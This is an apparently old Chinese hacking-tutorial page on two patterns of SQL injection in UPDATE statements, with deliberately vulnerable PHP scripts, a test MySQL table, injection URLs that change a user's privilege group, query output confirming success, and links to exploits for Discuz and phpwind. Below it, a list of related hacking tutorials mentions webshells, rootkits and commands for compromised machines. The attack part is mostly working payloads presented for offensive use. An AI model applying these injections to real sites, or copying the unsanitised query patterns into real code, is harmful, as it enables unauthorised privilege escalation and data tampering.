UPDATE注射的两个基本模式

所属分类: 网络安全 / 黑客教程 阅读数: 166
收藏 0 赞 0 分享
一.测试环境:
OS: Windowsxp sp2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.测试数据库结构:
-----start---
-- 数据库: `test`
--
-- --------------------------------------------------------
--
-- 表的结构 `userinfo`
--
CREATE TABLE `userinfo` (
`groudid` varchar(12) NOT NULL default ’1’,
`user` varchar(12) NOT NULL default ’heige’,
`pass` varchar(122) NOT NULL default ’123456’
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
--
-- 导出表中的数据 `userinfo`
--
INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);
------end-------
三.测试模式:
1,变量没有带’’或""[MOD1]
<?php
//test1.php Mod1
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=$p where user=’heige’";//<--$P没有使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "<p>SQL Query:$sql<p>";
?>
脚本里只是修改user=’heige’的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达
到修改groupid的目的:
那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查询:
mysql> select * from userinfo;
--------- ------- --------
| groudid | user | pass |
--------- ------- --------
| 1 | heige | 123456 |
--------- ------- --------
1 row in set (0.01 sec)
用户heige的groudid又2改为1了 :)
所以我们可以得到没有’’或"" update的注射是可以成功的,这个就是我们的模式1。
2,变量带’’或""[MOD2]
<?php
//test2.php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
echo "<p>SQL Query:$sql<p>";
?>
为了关闭’我们构造$p应该为123456’,groudid=’2 提交:
http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’
提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’
mysql查询:
mysql> select * from userinfo;
--------- ------- --------------------
| groudid | user | pass |
--------- ------- --------------------
| 2 | heige | 123456’,groudid=’1 |
--------- ------- --------------------
1 row in set (0.00 sec)
groudid并没有被修改。那么在变量被’’或""时 就完全没有被注射呢?不是 下面我们看模式2:
<?php
//test3.php Mod2
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "update userinfo set pass=’$p’ where user=’heige’";//<--$P使用单引号
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //$p的数据写入数据库
$sql= "select pass from userinfo where user=’heige’";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //把pass查询输出给$userinfo[0]
$sql ="update userinfo set pass=’$userinfo[0]’ where user=’heige’";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //把$userinfo[0] 再次update
?>
我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1
回mysql查询下 :
mysql> select * from userinfo;
--------- ------- --------
| groudid | user | pass |
--------- ------- --------
| 1 | heige | 123456 |
--------- ------- --------
1 row in set (0.00 sec)
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:
update-->select-->update
四.实际模式
模式1:Discuz 2.0/2.2 register.php 注射
漏洞分析:http://4ngel.net/article/41.htm
Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm
模式2:phpwind 2.0.2和3.31e 权限提升漏洞
漏洞分析:
update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’)
|
v
select (jop.php)
|
v
updtate (jop.php) Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe
更多精彩内容其他人还在看

爆破的一般思路与断点的设置

破 顾名思义就是暴力修改程序的代码来达到破解的目的 当然根据共享软件的注册方式我们可以对症下药 比如说没有注册的软件有功能限制、使用次数限制、使用日期限制等 我们就可以分别对待了!我们只需要解除这些限制自然就达到了破解的目的了! 暴力破解的一
收藏 0 赞 0 分享

解析RootKit与反RootKit(图)

Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。下面笔
收藏 0 赞 0 分享

VC 下黑客软件隐蔽程序的手段

一、引言 随着计算机网络的不断发展,黑客技术也日益成为一支不可忽视的技术力量,尽管多数黑客的攻击目标以服务器为主,对大多数的互连网用户的直接危害并不大。但有一类称为"特洛伊木马"的黑客程序可以通过欺骗等手段在普通网络用户端安装木马的服务端,使
收藏 0 赞 0 分享

PERL铸造多线程 支持中文破解SQL自动注入猜解机

说到SQL注入机,从娃娃针对动网文章的dvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,大家也都用过吧? 开天始祖 dvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQL注入漏洞的系统,通常《黑防》的一篇《**存在SQL注入漏洞》的文章,末了,都要把
收藏 0 赞 0 分享

总结所有得肉鸡后的命令

net use $">\ipipc$Content$nbsp;" " /user:" " 建立IPC空链接 net use $">\ipipc$Content$nbsp;"密码"
收藏 0 赞 0 分享

通过SQL注入得到WebShell的原理及步骤

一.通过SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 分析: N.E.V.E.R利用
收藏 0 赞 0 分享

教你成为ASP木马高手

1.名称:如何制作图片ASP木马 (可显示图片) 建一个asp文件,内容为<!--#i nclude file="ating.jpg"--> 找一个正常图片ating.jpg,插入一句话木马(比如冰狐的),用ultraedit进行h
收藏 0 赞 0 分享

教你注入下载文件的代码到IE进程然后下载的文件

大家可能都用过网页木马来下真正的EXE木马吧,但是有些时候 后门比较大下载的时候常常是网页暂停或是报错(CHM木马常遇到) 所以写了这个程序。。。。 程序还要改下才好用哈,不过只有2kb很小了。。。。 编绎参数: C:masm32BIN
收藏 0 赞 0 分享

Google 黑客搜索技巧

站内搜索地址为: httpwww.google.comcustomdomains=(这里写我们要搜索的站点,比如feelids.com) 进去可以选择www和feelids.com, 当然再选我们要的站内搜索哦! 黑客专用信息和资料搜索地址为:
收藏 0 赞 0 分享

零距离感受入侵服务器

很多网上安全教程都介绍了如何通过百度和GOOGLE来搜索漏洞代码而发动攻击,这种文章在实际应用中没有什么价值,毕竟很多时候我们需要定点定位攻击目标服务器而不是这种广撒网覆盖形式的入侵。只有学会针对某定点服务器进行扫描和攻击才有利于我们增长企业安全防范与攻击技
收藏 0 赞 0 分享
查看更多